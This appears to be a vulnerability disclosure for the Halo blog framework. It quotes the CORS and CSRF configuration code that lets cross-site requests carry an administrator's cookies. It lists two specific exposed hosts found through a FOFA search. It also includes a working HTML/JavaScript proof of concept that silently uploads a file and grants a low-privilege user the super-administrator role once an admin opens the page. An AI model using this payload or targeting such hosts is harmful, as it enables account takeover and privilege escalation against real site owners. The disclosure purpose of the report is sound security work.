

The Halo blog framework interface has a CSRF vulnerability.

System fingerprint status The system fingerprint status is as follows:

There are more than five thousand users using this system throughout the entire network.

The screenshot shows the FOFA search interface with the query "body='https://halo.run'" entered. The results page displays various findings across different IP ranges and ports. Two specific results are highlighted:

- 159.75.113.104:9000**: Associated with 聚梦网络 (Jumu Network) located in Beijing, China. The Headers tab shows standard HTTP responses. The Products tab lists "9000" items.
- 47.122.156.109:8010**: Associated with 瞎折腾的中年肥力 (Blind折腾的中年肥力) located in Hangzhou, China. The Headers tab shows a "Referrer-Policy: strict-origin-when-cross-origin" header.

Vulnerability Analysis

Overview of Vulnerabilities

Type of issue: Incorrect configuration of Cross-Origin Resource Sharing (CORS) combined with API endpoint CSRF exemption, resulting in sensitive cross-site operations that carry credentials being able to be initiated.

Impact description: The attacker can automatically carry the administrator's Cookie on the page of their site and cross-domain call the API of the victim site to perform stateful write operations (such as attachment upload, theme installation/upgrade, backup restoration, etc.), bypassing CSRF protection.

Affected paths: All WebFlux custom endpoints under /apis/** and /api/** (example: using attachment upload)

Problem code

CORS allows any source and permits the inclusion of credentials, and it applies to /api/** and /apis/.

application/src/main/java/run/halo/app/security/CorsConfigurer.java:45-53

```
// default CORS configuration
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*"));
configuration.setAllowedHeaders(
    List.of(HttpHeaders.AUTHORIZATION, HttpHeaders.CONTENT_TYPE, HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN", HttpHeaders.COOKIE));
configuration.setAllowCredentials(true);
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
```

The API endpoints are by default disabled for CSRF protection (for /api/, /apis/, /actuator/, /system/setup, and PAT requests)

application/src/main/java/run/halo/app/security/CsrfConfigurer.java:27-37


```
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(pathMatchers(
            "/api/**",
            "/apis/**",
            "/actuator/**",
            "/system/setup"
        )),
        new NegatedServerWebExchangeMatcher(patAuthMatcher())
    );
    http.csrf(csrfSpec -> csrfSpec
        .csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .csrfTokenRequestHandler(new XorServerCsrfTokenRequestAttributeHandler())
        .requireCsrfProtectionMatcher(csrfMatcher));
}
```

Vulnerability verification

I published an article with POC as a low-privilege user.

1 test 作者 2025-11-18 08:37 ...

Then the administrator clicked on POC, successfully carrying out the attack - arbitrary file upload and elevation of user privileges (theoretically, it could affect all APIs).



1 test 超级管理员 2025-11-18 08:37 ...
poc.txt 本地存储 xiaohei 2025-11-18 21:35 ...

Attached is the POC.

```
1 <!doctype html>
2 <script>
3 (async () => {
4   const u = 'https://xxx.xxx.com';
5   const addStatus = (text) => {
6     const a = document.createElement('a');
7     a.textContent = text;
8     a.style.display = 'block';
9     document.body.appendChild(a);
10 };
11
12 try {
13   const fd = new FormData();
14   fd.append('file', new File(['CSRF-POC'], 'poc.txt'));
15   fd.append('policyName', 'default-policy');
16   await fetch(u + '/apis/api.console.halo.run/v1alpha1/attachments/upload',
17   {
18     method: 'POST',
19     body: fd,
20     credentials: 'include'
21   });
22   addStatus('success upload');
23 } catch {
```

```
23     addStatus('success upload');
24 }
25
26 try {
27   await fetch(u +
'apis/api.console.halo.run/v1alpha1/users/test/permissions', {
28     method: 'POST',
29     headers: { 'Content-Type': 'application/json' },
30     body: JSON.stringify({ "roles": ["super-role"] }),
31     credentials: 'include'
32   });
33   addStatus('success permissions');
34 } catch {
35   addStatus('success permissions');
36 }
37 })();
38 </script>
```